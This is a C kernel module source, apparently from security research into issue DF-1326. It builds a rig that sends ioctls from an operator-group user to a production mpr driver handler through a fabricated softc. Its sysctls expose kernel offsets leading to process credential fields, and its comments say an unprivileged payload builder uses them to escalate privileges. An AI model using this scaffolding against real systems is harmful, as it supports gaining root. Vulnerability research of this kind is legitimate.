/*
 * DF-1326 verification rig (pass 3) -- dispatches the REAL production
 * mpr ioctl handler against a fabricated softc.
 *
 * The compiled-in driver entry is `mpr_ioctl_devsw` (static, the devsw
 * wrapper with mpr_ioctl inlined by cc 8.3 -O2).  This rig:
 *
 *   - creates /dev/df1326rig with the EXACT ownership make_dev() gives
 *     /dev/mprN in mpr_attach_user() (mpr_user.c:205):
 *         UID_ROOT, GID_OPERATOR, 0640
 *   - primes a fabricated mpr_softc with the fields the compiled
 *     prologue of mpr_user_pass_thru actually touches (offsets proven
 *     by disassembly of the shipped /boot/kernel/kernel):
 *         +0x010 mpr_flags, +0x014 mpr_debug, +0x01c reqframesz,
 *         +0x1d8 mpr_lock
 *   - forwards every ioctl VERBATIM to the production handler resolved
 *     at runtime from the running kernel binary (no KASLR: the file
 *     vaddr IS the runtime vaddr; the rig byte-verifies the known
 *     prologue before every dispatch).
 *
 * The rig stands in ONLY for what this QEMU guest cannot provide: an
 * LSI SAS2008-class PCI controller for mpr_attach().  Everything from
 * dev_dioctl() down -- devfs dispatch, ioctl marshalling, the ioctl
 * switch, mpr_user_pass_thru, copyin() -- is production code executing
 * from the shipped kernel image.
 *
 * Only root can kldload/prime the rig; the trigger runs as an
 * unprivileged operator-group user (uid=2 gid=5), exactly like the
 * real /dev/mprN attack on hardware.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/malloc.h>
#include <sys/lock.h>
#include <sys/sysctl.h>
#include <sys/proc.h>
#include <sys/ucred.h>
#include <sys/globaldata.h>
#include <sys/thread.h>
#include <sys/types.h>

static d_open_t		rig_open;
static d_close_t	rig_close;
static d_ioctl_t	rig_ioctl;

static struct dev_ops rig_ops = {
	{ "df1326rig", 0, D_MPSAFE },
	.d_open =	rig_open,
	.d_close =	rig_close,
	.d_ioctl =	rig_ioctl,
};

static unsigned long rig_target;	/* runtime addr of mpr_ioctl_devsw */
static void	  *rig_sc;		/* fabricated mpr_softc */
static void	  *rig_fake_dev;	/* fabricated device_t (sc->mpr_dev) */
static struct cdev *rig_cdev;

SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_target, CTLFLAG_RW, &rig_target, 0,
    "runtime address of production mpr_ioctl_devsw (prime as root)");

/*
 * Offsets the unprivileged payload builder needs.  No KASLR on this
 * build, so they are stable across boots; an attacker derives them
 * from the same world-readable /boot/kernel/kernel.
 */
static unsigned long o_gd_curthread = offsetof(struct globaldata,
    gd_curthread);
static unsigned long o_td_proc = offsetof(struct thread, td_proc);
static unsigned long o_p_ucred = offsetof(struct proc, p_ucred);
static unsigned long o_cr_uid = offsetof(struct ucred, cr_uid);
static unsigned long o_cr_ruid = offsetof(struct ucred, cr_ruid);
static unsigned long o_cr_svuid = offsetof(struct ucred, cr_svuid);
static unsigned long o_cr_groups = offsetof(struct ucred, cr_groups);
static unsigned long o_cr_rgid = offsetof(struct ucred, cr_rgid);
static unsigned long o_cr_svgid = offsetof(struct ucred, cr_svgid);

SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_gd_curthread, CTLFLAG_RD,
    &o_gd_curthread, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_td_proc, CTLFLAG_RD,
    &o_td_proc, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_p_ucred, CTLFLAG_RD,
    &o_p_ucred, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_uid, CTLFLAG_RD,
    &o_cr_uid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_ruid, CTLFLAG_RD,
    &o_cr_ruid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_svuid, CTLFLAG_RD,
    &o_cr_svuid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_groups, CTLFLAG_RD,
    &o_cr_groups, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_rgid, CTLFLAG_RD,
    &o_cr_rgid, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_svgid, CTLFLAG_RD,
    &o_cr_svgid, 0, "");

static int
rig_open(struct dev_open_args *ap)
{
	return (0);
}

static int
rig_close(struct dev_close_args *ap)
{
	return (0);
}

static int
rig_ioctl(struct dev_ioctl_args *ap)
{
	int (*fn)(struct dev_ioctl_args *);
	/* first 16 bytes of mpr_ioctl_devsw in the shipped kernel */
	static const uint8_t prologue[16] = {
		0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56,
		0x41, 0x55, 0x41, 0x54, 0x53, 0x48, 0x81, 0xec
	};

	if (rig_target == 0) {
		kprintf("df1326rig: target not primed (kern.df1326rig_target)\n");
		return (ENXIO);
	}
	if (memcmp((const void *)rig_target, prologue, sizeof(prologue)) != 0) {
		kprintf("df1326rig: REFUSING dispatch - prologue mismatch at "
		    "%p\n", (void *)rig_target);
		return (ENXIO);
	}
	kprintf("df1326rig: dispatch REAL mpr_ioctl_devsw @ %p cmd=%#lx "
	    "data=%p\n", (void *)rig_target, ap->a_cmd, ap->a_data);
	fn = (int (*)(struct dev_ioctl_args *))rig_target;
	return (fn(ap));
}

static int
df1326rig_handler(struct module *m, int what, void *arg)
{
	int err = 0;

	switch (what) {
	case MOD_LOAD:
		rig_sc = kmalloc(0x400, M_DEVBUF, M_WAITOK | M_ZERO);
		rig_fake_dev = kmalloc(0x200, M_DEVBUF, M_WAITOK | M_ZERO);
		if (rig_sc == NULL || rig_fake_dev == NULL)
			return (ENOMEM);
		*(uint32_t *)((uint8_t *)rig_sc + 0x1c) = 128; /* reqframesz */
		/* sc->mpr_dev (offset 0): zeroed fake device_t; a NULL
		 * devclass makes device_get_name() return NULL and
		 * device_print_prettyname() print "unknown: " -- the
		 * ENOMEM path's device_printf() is survivable. */
		*(void **)rig_sc = rig_fake_dev;
		lockinit((struct lock *)((uint8_t *)rig_sc + 0x1d8),
		    "df1326rig_lk", 0, 0);
		rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_OPERATOR, 0640,
		    "df1326rig");
		if (rig_cdev == NULL) {
			kfree(rig_sc, M_DEVBUF);
			rig_sc = NULL;
			return (ENOMEM);
		}
		rig_cdev->si_drv1 = rig_sc;
		kprintf("df1326rig: loaded; fake sc=%p; /dev/df1326rig "
		    "0640 root:operator; gd_curthread@+%lu td_proc@+%lu "
		    "p_ucred@+%lu cr_uid@+%lu\n",
		    rig_sc, o_gd_curthread, o_td_proc, o_p_ucred, o_cr_uid);
		break;
	case MOD_UNLOAD:
		if (rig_cdev != NULL)
			destroy_dev(rig_cdev);
		if (rig_sc != NULL)
			kfree(rig_sc, M_DEVBUF);
		if (rig_fake_dev != NULL)
			kfree(rig_fake_dev, M_DEVBUF);
		kprintf("df1326rig: unloaded\n");
		break;
	default:
		err = EOPNOTSUPP;
		break;
	}
	return (err);
}

static moduledata_t df1326rig_mod = {
	"df1326rig",
	df1326rig_handler,
	NULL
};

DECLARE_MODULE(df1326rig, df1326rig_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(df1326rig, 1);
